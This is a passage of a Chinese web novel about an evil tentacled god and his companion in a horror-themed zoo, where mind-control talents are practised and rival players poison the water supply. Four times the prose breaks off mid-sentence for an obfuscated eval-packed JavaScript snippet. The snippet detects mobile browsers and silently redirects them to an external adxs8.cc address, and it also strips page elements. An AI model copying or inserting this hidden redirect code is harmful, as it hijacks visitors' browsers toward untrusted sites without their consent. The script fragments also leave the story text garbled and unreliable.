l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095829|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他现在有的武器和眼睛都是塔尔斯给予的,他随时可以收回,那挑战自我获得的弹性精神呢?总该属于他了吧? “塔尔,我想去看看。” 害怕塔尔斯不同意,宁小满连忙又补充道:“如果实在接受不了我会及时告诉你的。” “看完做噩梦满满准备怎么办?” “这不是你该考虑的问题吗?”宁小满反问。 “我?” “一个小小的噩梦,对伟大的邪神来说应该不算什么吧?” 伟大……塔尔斯触手尖微红,轻咳一声道:“当然!走吧。” 见塔尔斯张开触手示意他过去,宁小满也不迟疑,蹦哒两下跳到他怀中,眼睛一睁一闭他们俩已经来到了水面,很显然是塔尔斯再次运用了他的空间技能。 嗅着空气中浓重的血腥味,刚吃饱饭的宁小满有些犯恶心,屏息凝神,扭着头看了一圈,看到不远处墙面上动物园的地图后,手臂直指,示意塔尔斯他要去那。 地图很大,占据了足足一面墙,水族馆在右下角,上面是狮子馆,左边是老虎馆,左隔一是黑熊……左上角是素食动物馆。 尽管宁小满没去过现实世界的动物园也知道这布局不对,肉食动物占据四分之三的版图,素食动物连带着一个水族馆合起来才占四分之一,哪有动物园会这么规划啊。 这么多肉食动物,那些门票钱够他们的口粮吗? 等等、这里会对外营业吗? 因着被触手先一步带走没看员工守则的宁小满根本就不知道这动物园的运行模式,能询问的只有抱着他的塔尔斯,无奈,塔尔斯也不知道。 塔尔斯看不得爱人烦闷,略一思索提议道:“找个知道的?” “可以?” “自然是可以的。” 塔尔斯向左游出,转瞬间来到一个躲在冻库内的天选者身边,精神触手探出,警觉四周的天选者眼神逐渐变得呆滞,塔尔斯刚想开口询问,脑海中突然闪过有关爱人的天赋技能。 sss级诡物语,在他这里是一个类似于言灵般存在的技能,平配下去虽然会得到削弱,但如果掌握了也是一项不可多得的能力。 若是他没有一开始就出现,满满兴许会在死亡中领悟自己的技能,然后一路来到他所在的怪谈以强者的姿态面对他。 他出现,给了满满庇护的同时也遏制了他的成长。 从某一方面来说,他就是满满成长路上的绊脚石。 塔尔斯伸出两根触手掐着爱人的腋窝将其举起,带着来到他胸口的位置,面对宁小满不解的扭动,一根触手出现在他面前指了指眼神空洞的天选者。 “满满,发动你的天赋技能,将它尽可能融入你的声音中,然后向他询问你想知道的事。” “我的天赋技能?”他的天赋技能不是只能听懂诡异说话吗? 感受着爱人内心的困惑,塔尔斯耐心解释道:“你的天赋技能来自于我类似于言灵的技能,平削下去,自是无法达到我使用时的状态,但一般的精神控制或者催眠询问都是可以的。” 37.伖有动物园4 解释的很透彻,宁小满心里面懂了,但问题来了,“怎么发动技能?” “这个……”塔尔斯将触手翻转对上爱人的眼睛,迟疑地道:“我也要教吗?” “要的吧。” “可是,我不知道天选者该怎么发动技能啊。” 他的那些能力他生来就会使用,让他展示自己的百般技能没问题,让他教人,属实是触及到他的盲区了。 宁小满不好意思地垂头,“不然还是你问他吧,我私底下琢磨一下怎么发动技能,我下次再上。” “不行,就这次!” 塔尔斯一触手将一边目光呆滞的人类拍晕,施展领域隔绝开冻库与外界的联系形成天然的隐蔽场所。 做完一切后,施施然抱着宁小满落到一块凭空出现的冰上,开启了第一步询问:“满满,你当时抽取到这个技能时是什么感觉?” 什么感觉?宁小满垂眸思索片刻,缓缓开口道:“完了,没救了的感觉。” “为什么?不对,重点不是这个,就没有突然感觉身体一凉或者一热?” 宁小满摇头,“没有。” 塔尔斯不可置信的追问:“那这么长你一次都没有试过发动自己的技能。” “事实上……” 宁小满抿了抿唇,不好意思说他以为这个技能是被动技能,而且一直都没有关过,要不然怎么其他人都听不懂塔尔斯说话就他能? 生平第一次使用读心术的塔尔斯沉默望天,怎么就是被动技能了?啊?他请问呢? 真以为别人听不懂他说的话是不能吗?明明是他不想! 而且他家满满到底什么时候才能对自己的特殊心里面有点数啊? 喉间挤出一声轻叹,塔尔斯揉揉爱人的头,“不想说就不说,不会用技能也不是多大的事,我翻翻传承记忆,总能找到办法的。” “嗯!谢谢塔尔。” 接受了一记轻吻后,塔尔斯把爱人安顿在零食堆内,自己趴在一边阖目从他翻起那些他之前从来不屑看的传承记忆。 诞生十九载,他那些天生的能力足够他在这怪谈世界横行霸道,所以这又臭又长的传承记忆,如非必要,他是不会翻看的。 就连那在无数伪神眼中珍贵无比的神格,也是在他玩够了之后方才想着与自身融合。 本来这也没什么,邪神崽子嘛,爱玩很正常,让他没想到是,在他决心融合神格那刻,他的祭品新娘(并不是祭品的新娘)出现了。 有那么一刻,塔尔斯后悔过以前的贪玩,但沉湎于过去不是他的性格,所以他当即选择了分裂自己,一半融合神格一半边陪新娘边玩。 虽然这样做会导致融合时间加倍,但他不在乎,总归都会融合,或早或晚罢了。 话题扯远了,塔尔斯想着找到的解决办法睁开眼睛,脑子还没清醒七根触手就拽着他扑向了一边乖巧坐的爱人。 “满满,”塔尔斯低头看向被扑倒而有些生气的爱人,讪讪一笑,片刻不敢耽搁地拿出刚获得的免死金牌:“我找到解决办法了!” 注意力被轻易牵引开来,脸上怒容收敛,“什么办法?” 说着,宁小满推了推塔尔斯,示意他起身。 塔尔斯起身顺带着拉扯起爱人,“我来牵引你。” “好,那来吧。” “不、不问问这办法有没有危害吗?” 宁小满摇头,“不问了,我相信你。” 噗通、噗通、噗通……三颗心脏在身体内快速跳动,圆溜溜的眼睛大睁,无比心动的塔尔斯下意识感应此刻爱人内心的情感——波澜不惊。 一盆无形的凉水,塔尔斯瞬间冷静,面无表情的想道:呵,一言惊起千层浪,又一键心如止水,不愧是他家满满,这(对他的)情绪掌握一等一的好! 最后几个字颇有些咬牙切齿的滋味,塔尔斯深吸一口气,偏头示意装死的匕首戳醒地上躺着那人。 匕首意识:塔扒皮…… 醒来的人并没有恢复清醒,双目仍呆滞着,塔尔斯站在原地没动,仅分出一缕意识钻入宁小满身体内。 刹那间,乳白色的身体染上灰芒,宁小满低头新奇地看着身体的变化,“好神奇,这是要变成八卦图了吗?” {什么是八卦图?} “就是……等等,塔尔你在哪说话?” {满满脑子里,是不是很清楚?} 这都到脑子里了,怎么可能不清楚!这简直惊悚好吧! 宁小满咽了咽口水,“能出来吗?” {可以。} “呼,可以就好。” {好啦,废话不多说,接下来由我掌控牵引满满发动技能,满满呢,不需要想太多,只要记住发动技能的步骤和感觉就可以啦!} “好。” 接下来,塔尔斯顺理成章接管身体,他接管身体那刻起,本来乳白色和灰色各让一步的局势被瞬间打破,灰色占据上风,将乳白色从身体表面彻底祛除,只能委委屈屈的窝在内里。 同样变化的还有那双眼睛,黑色变为红色,像是下一刻就能滴下血一样。 塔尔斯冷淡的看着那人命令道:“抬头。” {这样不……}宁小满话说到一半,在看到那人抬头时戛然而止。 “满满,不要关注他,注意力集中感受身体内的感觉。” 没得到回应塔尔斯也不在意,只接着问道:“动物园营业时间。” “早上八点到下午五点。” “对外开放?” “对外开放。” “员工守则拿来。” “不……不可以,员工守则不能……” “不用说了。”塔尔斯眉心紧锁跳过了这个问题,他只是想教会满满应用自己的能力,可没想当着他的面杀他的同类。 问到这里,说实话已经没什么好问的了,但多问几个问题有助于满满领会发动技能的方式,还能消磨消磨时间…… 心思百转间,塔尔斯抛出了下一个问题,“大屠杀开始原因。” “狮子馆,一个天选者投喂员失误,将肉喂成了香蕉,触底反弹,狮子全部跑出来开始了大屠杀。” “你怎么知道的?” 冻库在左上角素食动物馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100146|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边,距离狮子馆可不近,这人的体格……塔尔斯嫌弃撇嘴,明显不可能是从狮子馆一路跑过来的。 “广播,大屠杀开始前,高处的喇叭进行三十秒倒计时。” 哦,还是一个恶趣味十足的怪谈,不过、凭什么只把喇叭安在高处,水里面明明也需要,塔尔斯有些不爽的想道。 {塔尔,我感觉我可以了,让我试试、让我试试。} 听着脑海内雀跃的声音,塔尔斯轻笑一声,将牵引权让了出来。 说是试试,等到了真要问时宁小满却顿住了,问题都被塔尔斯问完了,他不知道问什么了。 半天,宁小满也只憋出一个浅显的问题:“你叫什么?” “弗……弗加斯。”说这话时,他面上闪过挣扎,明显不似方才塔尔斯询问时说的干脆。 见状,宁小满有些不知所措。 {问话时不要迟疑,气势要够,你这边稍有迟疑,他那边精神上的控制就会松懈。} “那我再试试,”宁小满绷紧一张面团脸,肃声道:“你的天赋是什么!” “人偶控制。” {气势不错,第二次就做成这样,满满天赋不错呢~} 宁小满不好意思地抿唇,回避似的后退两步,“想问的都问了,我也掌握了天赋技能,回吧,我想回去了。” “好!”听到回去秒精神的塔尔斯回归自身、抱起爱人就跑。 他原来是准备带着满满在洞穴内待上个七天,等这次怪谈结束好去下个怪谈搅风弄雨的,但耐不住满满想出来…… 好在这次出来不亏,帮满满掌握了一个新技能。 “塔尔!飞慢点!” “快点么快点么,快点多刺激啦!” 宁小满抱耳蹲下,别问他为什么不抱头,问就是够不着。 “我不想这么刺激!就不能像刚才一样嗖的瞬移回去吗?” “可以是可以,但满满不想看动物?” “不想!”看动物可以,但吃人的动物他敬谢不敏。 对了,“那人在冻库内会不会出事?” “按照靠近邪神即倒霉规则来说,那么多人能直接瞬移到他身边,说明他本就离死亡不远了,不过看在他帮了满满掌握能力的份上,今天晚上,他、我保了,留下的那道屏障保他一晚上不是问题。” 知道那人不会因自己而死后,宁小满就将注意力放到了更切实的地方,“靠近邪神即倒霉规则……我也要倒霉吗?” “不会,满满不一样。” 总说不一样不一样,宁小满实在好奇,索性就着这个机会问道:“哪不一样?” “灵魂啊。”塔尔斯理所当然的回道。 “白色的灵魂?” “昂!” “世界上几十亿人,想找的话,总会有白色灵魂的人出现,我这样也不算是独一无二吧?” “世界上白色灵魂很少的,大多是白灰、白黑、黑灰交缠的灵魂,纯粹的白、灰、黑都极为罕见,但罕见的同时他们还具有唯一性,像你、也像我,所以,满满对我来说,就是那唯一一个不一样啊!” 38.伖有动物园5 宁小满低头看看自己的身体,很好,光滑如旧,没因为塔尔斯的突然腻歪而起鸡皮疙瘩。 但这次没起不代表下次也不起,为防以后,宁小满觉得自己有必要教塔尔斯说话委婉一些。 不过令他没想到的是,说教的话刚说出口就迎来了塔尔斯的反驳,“不要!满满说的一点都不对,喜欢就要大声说出来,你不说我不说,那跟陌生人有什么区别?” “塔尔,爱应该是含蓄的。” “为什么含蓄?” 塔尔斯不解,塔尔斯试图理解,最终理解:“因为没能力做出保证吗?我有啊,所以我不用含蓄。” “不是那样的,是我们国家的一些习惯,在我们的认知中,爱是……” 马上就要入水了,塔尔斯伸展触手护住头顶的爱人,打断他话的同时语重心长道:“满满,爱是不能被定义,就像你只能否定我对你爱的表达方式,但否定不了我对你爱的本质,爱存在,并不会因为外在的表达而消失,所以不要拘泥于那些有的没的了。” 话特意被塔尔斯说的又快又拗口,宁小满许久没有反应过来,只隐隐约约觉得哪里不对劲,直到晚上临睡前才想明白到底哪里不对劲。 外在表达确实不会影响爱的本质,但爱会因为表达不同而呈现不同的情绪显现啊! 像塔尔斯,表达大胆热烈,喜欢把他认为的好东西捧到他面前,对他说很多真诚热烈的赞美,后者暂且不说,他虽说不好意思但实则心里面很受用。 前者嘛,他拒绝不好意思,接受不见得真的喜欢。 有时候太过热烈也不见得是一件好事,总给他一种靠近火堆的感觉,取暖的同时稍不注意就会燃尽自身。 小孩子一样的表达方式啊,心下微叹,宁小满转身将自己埋进塔尔斯的触手中,蹭蹭他的下巴,对上他疑惑的目光,宁小满好笑地摇了摇头,又蹭了蹭他的脸。 见状,塔尔斯也不疑惑了,低头就是一阵贴贴。 打闹一番过后,宁小满趴在塔尔斯身上贴着他的脑袋问道:“你多大了?” “什么?” 宁小满换了个说辞继续问道:“你从深渊里面出来多少年了?” “十九。” “十九个世纪?那有够……” 塔尔斯炸着吸盘纠正:“十九年!年!” 去他的世纪,他要是出生十九个世纪才遇到他的命定新娘,他早把这怪谈世界炸了。 宁小满闻言眼神飘忽一瞬,尴尬的撇头看向一边,没话找话:“十九好啊,我今年也十九。” “我知道。” 洞穴内静默许久,一道声音再次响起:“我记得我没告诉过你我多大。” “不需要你告诉,我想知道就知道了。” “那你还知道什么?”宁小满好奇。 “我还知道你小时候因为看不见哭鼻子、吃不到喜欢吃的草莓哭鼻子、没办法自己出门玩哭鼻子、因为爸妈出门不提前告诉你哭、唔!” “够了!不用说了,我相信你什么都知道了!” 物理捂嘴后,宁小满从塔尔斯身上滑下,缩到一边自闭去了。 前脚缩好后脚熟悉的触手就缠了上去,任由触手布满身体各处,宁小满想:还是孩子呢,他们两个都是,在这危险的怪谈世界中却整天嘴上不离爱,跟小孩子过家家一样。 一边静谧美好,一边血腥惊悚。 夜晚的动物园无形间更多了几分危险,血腥味飘在上空凝结成了一张密不透风的网,束缚着所有在动物园内所有的活物,尽管这个活物很有可能仅代表人类。 劳恩一剑砍死一条扑上来的猴子,抬手摸了一把溅到脸上的血,歪头看向身后一身白袍纤尘不染的赫伯特不耐烦道:“喂,你说的安全所到底在哪?再不到,别怪我丢下你自己走。” “马上。” “叫我?” 赫伯特瞥一眼空有钱没脑子的马文,嗤笑一声:“你叫马上?” “那不叫,我叫马文。” 说话间劳恩又杀了几只扑上来的猴子,带着两人又突围了数米远,赫伯特看着不远处的冷库勾唇一笑,“前面就是了。” “冷库?”劳恩歪头冷漠地看了赫伯特一眼,“你最好没有说谎,否则我会杀你——无数次。” 赫伯特耸耸肩不欲多言,他跟粗鲁的人向来是没有共同话题的,要不是没有其他选择,劳恩这家伙他早…… 马文走在中间看看这个看看那个,缩着脖子不说话,眼睛滴溜溜转着不知道在想些什么。 几人进入冷库后,外边围着他们攻击的动物登时失去了目标开始四处游荡。 “啧,算你走远。” 劳恩冷哼一声收回武器,转身朝里走去,绕过一堆空箱看见歪倒在地的男人时眉心一皱,“这里还有其他人在。” “我说没有其他人了吗?”赫伯特双手环胸好整以暇地盯着劳恩。 “你也没说有其他人在。” “感谢你口中这个其他人吧,要不是他做出的贡献,你今天要杀一晚上明天再顺带着去干活。” 马文缩在角落中上下抛着手中的一枚诡币,对于两人的呛声已经见怪不怪,只一双眼神盯着地上的男人心里面一刻不停的盘算着什么。 感应到自己留下的屏障中进了其他人,塔尔斯冷笑,敢承他的便利,他倒要看看谁有那个运气和胆量。 推演和透支,确实够上了运气和胆量,旁边那个……塔尔斯闭了闭眼,不知道旁边那个是怎么混进去的。 记下进入屏障内的几人后塔尔斯就收回了对那里残存力量的感应,倒是没有收回屏障,说要保那个人类一晚上就是一晚上,少一秒都不行! 这是他第一次守诺,只因谎话成篇的邪神不愿丧失在爱人面前的诚信…… 深水中不知时间流逝,亦如中转站一样,一觉醒来,四周该是什么样还是什么样,如睡前没有因为夜晚更暗,现在也没有因为太阳出现而变得明亮。 宁小满呆呆的望着周边飞速掠过的风景,任由塔尔斯带着他朝水上游去,直到四周传来光亮宁小满才恢复精神。 注意到他的前面变化,塔尔斯肯定的开口说道:“满满不喜欢深水区。” “嗯?表现很明显?” 塔尔斯没说明不明显,只说:“以后咱们家满满选址。” 宁小满眨眨眼没说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113522|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未来他会和塔尔斯有一个家吗?他不确定,未来的变数太多太多了。 破水声响起,惊起几道落水声,偏头朝落水声响起的地方看去,是几只肥嘟嘟、胖乎乎的家伙,宁小满眯着眼睛不确定的说道:“那是、海豹吗?” “是,想吃?” 垂在身侧的触手蠢蠢欲动,只等一个想就冲上去刺穿海豹的脑袋邀功。 “不,它们很可爱,我想摸摸它们。” 只是摸摸就没必要大动干戈了,塔尔斯泄气一般耷拉着触手带着爱人落到海豹旁边,一到海豹趴着的平台宁小满便迫不及待地扒开身上的触手扑了过去。 皮毛入手滑溜溜的,说不上多好,重在一个新奇,宁小满摸的那是一个爱不释手。 一阵风吹过,看着那边对其他动物上下其手的爱人,塔尔斯倍感凄凉,那样殷切的抚摸,满满从来没对他有过! 别人感到凄凉怎么样不好说,塔尔斯感到凄凉的第一反应就是想杀了让他感到凄凉的东西。 但,想也知道有满满在的情况下他是不可能杀了这个几个玩意的。 倏然,几道错愕的视线看了过来,塔尔斯冷眼看过去,哟呵,还是熟人呢,昨天顺他屏障那几个一个不落的都在。 “满满,匕首拿好,那边来人了,我去会会他们。” “嗯嗯,去吧去吧。” 听听这敷衍的回应!塔尔斯气的差点把嘴里面的一口尖牙咬断,触手卷起恨恨地捶了一下台面,留下几道裂纹后被其主人带着游走了。 宁小满歪头看了一眼地上的裂纹,身上撸毛的动作停下,拎着匕首转身坐在一边,幽幽叹气。 听他叹气,匕首动了动,想干些什么却又强忍着不敢动弹。 “想动就动吧,别装了。”装的烂死了,第一个怪谈刚到他手里面就变化小毛毛挠他手心,和他那主人一个德性。 匕首依言动了动,从他手里面飘出,绕着他飞了一圈变成一个丑丑的紫色花环落到他头上。 透过水面倒影看清楚花环样式后,宁小满毫不留情的吐槽道:“好丑。” 花环不满地动了动,他哪丑了,明明很好看,首当其冲就比一边那几只水里面的肥猪好看! 花环的抗议对宁小满来说不痛不痒,他更多的注意力落在不远处悠哉悠哉逗几个人“玩”的塔尔斯身上。 他想过去,不过就他这小身板一下水怕是就要沉底了。 但人嘛,重在思索,思索片刻聪明的大脑给了他指引,宁小满转头盯上了他刚才撸毛那只海豹,踩着水吧嗒走过去,边走边发动了能力。 “手、鳍……放下来。” 海豹呆呆的看着他,许久没有动作,就在宁小满以为控制失败时,海豹有了反应,他整个趴了下去,短短的前鳍状肢放到了他脚下。 见状,宁小满眼中闪过一抹惊喜,成功啦! 宁小满三两下跳到海豹身上,发出了入水的指令,海豹有点呆,好一会才反应过来,但没关系,好歹是骑上了。 看他兴奋,花环不满意了,骑只破海豹有什么可兴奋的,全世界仅此一只的邪神天天骑都不见兴奋,怎么,堂堂邪神还比不上一只破海豹? 39.伖有动物园6 “乖啦,别乱动。” 狰狞扭动的花环在一声乖下僵住身子,满脑怨气就那么被安抚住了。 一分钟后,宁小满坐着海豹来到打斗现场前的玻璃处,抬手欲敲未敲之际,对上塔尔斯看过来的视线抬在半空中的手自然而然的变换姿势挥了两下。 塔尔斯闪身进水中抱住宁小满,张口就问:“怎么过来了?算了,不重要,累吗?” “我不累,它可能有点累。” 塔尔斯黏黏糊糊的往宁小满身上蹭,“它累不累不关我事,我只关心满满。” 底下没了控制的海豹干呕一声,在还没死之前飞速跑了,豹豹它啊,今天也是当面呕过大诡异的豹了,回去得跟那些同伴好好炫耀一番! 宁小满扶住蹭过来的塔尔斯,目光同外头有些狼狈的几人对上视线,僵持片刻,对面先冲他点了点头,他现在这副身子没有脖子,点头不怎么看得出来,索性他也就挥了挥手当做回礼。 得到回应,赫伯特顺手薅过劳恩手里面的剑,上前两步敲了敲玻璃,用剑干脆利落的在玻璃上刻了一串盲文。 某方面是个文盲的塔尔斯不解的看着这一串符号,“满满,他画的是什么?” “盲文,他想让我出去跟他聊聊。” “满满想聊吗?” “聊聊吧,看看他想做什么。” 话音落地,开放式水池上空凭空划开一道口子,其中探出一条血红色的触手本相,在赫伯特无形的配合下拎着他将他从上空扔进了水池。 赫伯特双手拍打着水面游在水中,等待宁小满和塔尔斯从水中浮出的空档还不忘腾出空擦擦脸上的水。 “你想聊什么?” “合作。” “合作?” “对,不知道你们国家的怪谈部有没有跟你提及,越往后怪谈就越难,若说一开始一个人费点心思就能通关,可到了后边,没有队友配合再想通关可就难了。” 宁小满坐在塔尔斯头顶冷冷地看着赫伯特,对他嘴里面的话一个字都不相信,“如果你只是想说些废话,那么我想,接下来我们就不用聊了。” “好吧,我实话实说,我只是想利用你而已。”赫伯特微笑着说完,就见对面那团马赛克猛地涨到两倍大,同为天选者的宁小满倒是一切如常。 宁小满边安抚塔尔斯边道:“就这么说了,不怕我直接杀了你。” “噢,或许吧,不是还有一半机率不被你杀死么,更何况,死在你这样的美……萌萌的家伙手里,总比死在那些丑陋的诡异手中要好得多。” 塔尔斯快气炸了,当着他的面调戏他的新娘,怕是活的不耐烦了! “冷静、冷静,一切等谈完再说。” “咕噜!”他非死不可! “好好好,都听你的,”暂且安抚好炸毛的小章鱼后,宁小满歪头看向赫伯特,“你想怎么利用?” 赫伯特答非所问道:“从那些家伙手中得到你的消息后,我在中转站预演过三次和你通关的场景,无一例外,都是死亡结局,造成这一切的,恰好是……” 见赫伯特目光下落,定在塔尔斯身上,宁小满就知道他的未尽之言是什么了,但…… “塔尔不是不讲理的邪神,三次都是一样的结局,我觉得你应该反思一下是不是你本身的问题。” “受害者有罪论吗?” 宁小满闭了闭眼,信口胡诌道:“那一切都没有发生,你无法证明那一切会发生,所以你不是受害者,他也不是施害者,你们两个充其量就是个陌生人。” 赫伯特抬手揉了揉眉心,“你是被他操控了思想吗?说话如此的……双标。” “算了,痛快点说,这边有个快速通关的法子,来不来?” “塔尔?”宁小满下意识寻求认同。 “满满做决定就好,我听满满的。” 听他这么说,宁小满垂眸思索,左想右想都觉得快速通关是个好事,遂点了点头,“来!” “行,那你等一下。” 等什么?宁小满还没来不及问就见赫伯特对着外边那几个比了个OK的手势,紧接着一团缠在一起的虫子、不,不是虫子,是蚯蚓就被从上空扔进了水池。 塔尔斯带着宁小满远离水面,看着赫伯特的目光更为不善,八根触手随风而动,尖牙显露,从牙缝中挤出一个字:“杀。” “暂时不可以。”当然,这个暂时也很有可能是永久。 宁小满顿了顿又接着道:“对不起,和我在一起委屈你了。” “没有没有,满满你知道的,我也不是很爱杀生。” 才怪,他神生的一大乐趣就是杀生。 可那又如何,人类世界常流传着一句话,婚姻是对两个人无形的束缚,他既选择了和满满在一起,就愿为他收敛自己的脾性。 赫伯特黑着脸将一条蚯蚓从他的金发上拿下,扭头对负责扔蚯蚓的劳恩怒目而视,该死的家伙! 一分钟后,赫伯特与同行的八人在外边汇合,对观察缸中鱼的宁小满解释道:“这动物园有一条隐藏规则,只要园内动物吃到它们不该吃的东西就会触发乱序,也就是大屠杀,这条规则凌驾于所有规则之上,触发后先前员工守则上的那些便全都不作数了。 现在是工作时间,想不被诡异找到错处的进行翻盘,只有以身入局方能成功,至于为什么选择水族馆,是因为这里的动物受到的限制最大。” 宁小满了然点头,鱼嘛,离开水就不能活,比起那些陆地上的霸王招惹水里面的明显更靠谱一些,但真的是这样吗? 塔尔斯带着宁小满飘在半空中,双手环胸,冷笑一声:“愚蠢。” “这也不能怪他们……”毕竟谁能想到水里面的鱼会长出四条腿在陆地上跑呢? “满满说得对,是这个怪谈太阴险了。” “所有人没办法全部跑脱,你们先走,我留下拦截!”劳恩边说边将凑上来的一条食人鱼砍死。 闻言赫伯特半点不到迟疑的点头,“行,你留下,其他人跟上!” 一行人继续朝预定的目的地跑,宁小满并不知道他们往哪去,但念着赫伯特说的通关还是带塔尔斯跟了上去。 一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117180|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过五关(五个躁动的猛兽园区)斩六将(看上去明显是高层的诡异),终于,他们来到了一间平平无奇的房间前。 就在宁小满怀疑赫伯特靠不靠谱时,赫伯特抬手打开房门闪电般朝左抓去,抓出一个身形干瘪的老头来。 “宁小满!压制住他。” 宁小满抬手拍拍头上的花环,“拜托了。” 花环不甘不愿的下来,化作绳索缠住还在不停扑腾的诡异。 见老头被制住,赫伯特脸上浮现一抹轻松之色,他抬手对着身后招了招手:“危险因素清除,该你上了。” “接下来就看我的吧!” 身形高大的青年三步并两步走进屋内,一阵霹雳乓啷声过后,他攥着一瓶毒药走了出来。 “给。” “东西找到了,走!” 宁小满刚想收回触手,就见负责找毒药那个青年笑眯眯的朝他道:“对了,我们一会就回来,麻烦你先不要走看住他,他的命得留着给那些怨气平恨。” “怨气平恨?他是那个待定?” 塔尔斯感知了一下他身上属于他的能力,“是,他的天赋技能是吸怨。” “他那个厉害还是我那个厉害?” 塔尔斯沉默两秒,实诚问道:“满满是想听假话还是真话?” 左右要在这看着这老头,宁小满便准备两个都听听,看看有什么区别,“先来个假的听听。” “假话就是,当然是满满的天赋技能最厉害啦!他那个在满满的能力面前连头都抬不起来,垃圾死了,一看就知道运用的那人不行!” “那真的呢?” “真话就是都不怎么样,满满的被平削了,本质上没怎么变,他那个变异了,跟我的能力差了十万八千里。” 宁小满点点头,赞同道:“那很正常啊,跟正版比,盗版的就是要弱许多。” “咳,其实,满满做那个正版也不是不行。” 这恋爱脑的话听的宁小满莞尔,玩笑似的附和:“那我这个正版承认你也是正版,这样咱们两个就都是正版啦!” “嚇——你、” 塔尔斯歪头警告地瞪了一眼地上的诡异,现在还让你活着都已经算是仁慈的了,再给脸不要脸现在就去死得了。 诡异并不能看到塔尔斯警告的眼神,但周身的寒凉和比高层次的气息却让他下意识住了嘴。 “嗯嗯,最喜欢满满了,要和满满永远在一起。” 塔尔斯说这话时心情十分激荡,因此并没有注意到爱人一瞬间的脸色不自然。 要说宁小满为什么脸色不自然,是因为不想和塔尔斯在一起吗?那倒也不是,受父母影响,他对爱的理解就是细水长流,因此面对过于肯定和过于极限的词会下意识退避。 不是觉得自己配不配的问题,而是习惯性用更现实的角度去想问题,还是那一句话,过于热烈总给他一种不会长久的感觉。 没得到爱人回应的塔尔斯还想说些什么,突然嗅到空气中变化的味道,嘴角勾起一抹恶劣的笑,对这个怪谈的结果下了宣判:“要结束了……” 40.伖有动物园7(完) “呼——” 几人喘着粗气从远处跑出,其中包含着浑身浴血的劳恩,看着他们这副样子,塔尔斯带着宁小满往上飘了飘,血腥味太冲了,他家这个闻到得吐。 大早上的饭都没吃,中途就被他喂了几块糕点,要是吐了搞不好会把胃酸吐出来。 塔尔斯的上移宁小满知道,但是他并不知道原因,只当他是不屑于与人类为伍才游走的,此刻他正趴在塔尔斯头上好奇的望着那青年的动作。 赫伯特喘着粗气坐到地上,扭头对上宁小满的视线,歪了歪头示意马文上去搭话。 马文络腮胡下的嘴撇了撇,转身的瞬间一个大大的白眼翻出,满是对赫伯特无语和不屑。 同是天选者,谁比谁高贵啊,偏就他自恃身份在人群中吆五喝六的。 马文走到离宁小满两米远的地方一屁股坐下,“他叫奎曼,天赋技能不说你应该也知道,我就说说怪谈通关的办法吧。” 宁小满没说话,但他的目光已经移了过去。 感受着不远处投过来的目光,马文低头一笑,慢悠悠道:“这动物园,也就是这怪谈,形成的原因是投毒事件,投毒的东西大部分是那些动物平时不好吃到,但又对他们非常有吸引力的东西。 它们因为投毒死了,所以才会形成那么一条凌驾于所有规则之上的规则,根据推测……啧,也不是推测,是那一家伙一晚上的来回预演,我们知道了投毒者就在这动物园里面,也知道了他是谁。” “投毒对他有什么好处?” “好处?”马文哼笑一声,不着痕迹的扫过宁小满露在外边的短手短脚,垂在身侧的手摩擦两下,声音幽幽:“爱可能需要缘由,但恨可不需要。” “没好处,他存在不过是因为规则需要载体,因投毒而死的动物成了动物园内的动物,好吃好喝、掌握凌驾于所有规则之上是规则,相对的,就要有一个投毒的根源,非要扯一个关系,只能说这里需要一条基本的逻辑链以及食物链。” 塔尔斯的解释声唯有宁小满可以听见,马文对他说的话一无所知,见宁小满半天不说话还以为他是没有理解,就又加了一句:“小孩子家家的,不理解也正常。” 宁小满并不打算告诉马文他不说话是在听塔尔斯说话,只道:“然后呢?知道了他是投毒者,这和今天的行动有什么关联?” “关联?和杀的先后顺序有关算不算?” “杀……” 宁小满猛地反应过来,“你们刚才是去投毒了!” “啊——还不算特别笨嘛。” “不对,刚才的时间不够你们跑一圈动物园,”宁小满皱眉回想曾经看过的动物园地图,大部分建筑被飞速掠过,最终定格在一处:“你们把毒放进了总水源!” 马文耸耸肩没说话。 “啊、呃——你们、死……” 嘶哑如同诅咒般的声音传入每个人的耳朵里,但每一个凑上去搭理他的,众人目光纷纷落到奎曼上,无声的催促他赶快解决。 奎曼无奈,这事得按照进度条走,不是他想快就能快的了的,一个个的,纯属是看热闹不嫌事大。 “咕噜~” 塔尔斯突然出手弄瞎了马文的眼睛,没要他命,但也不会好受就是了。 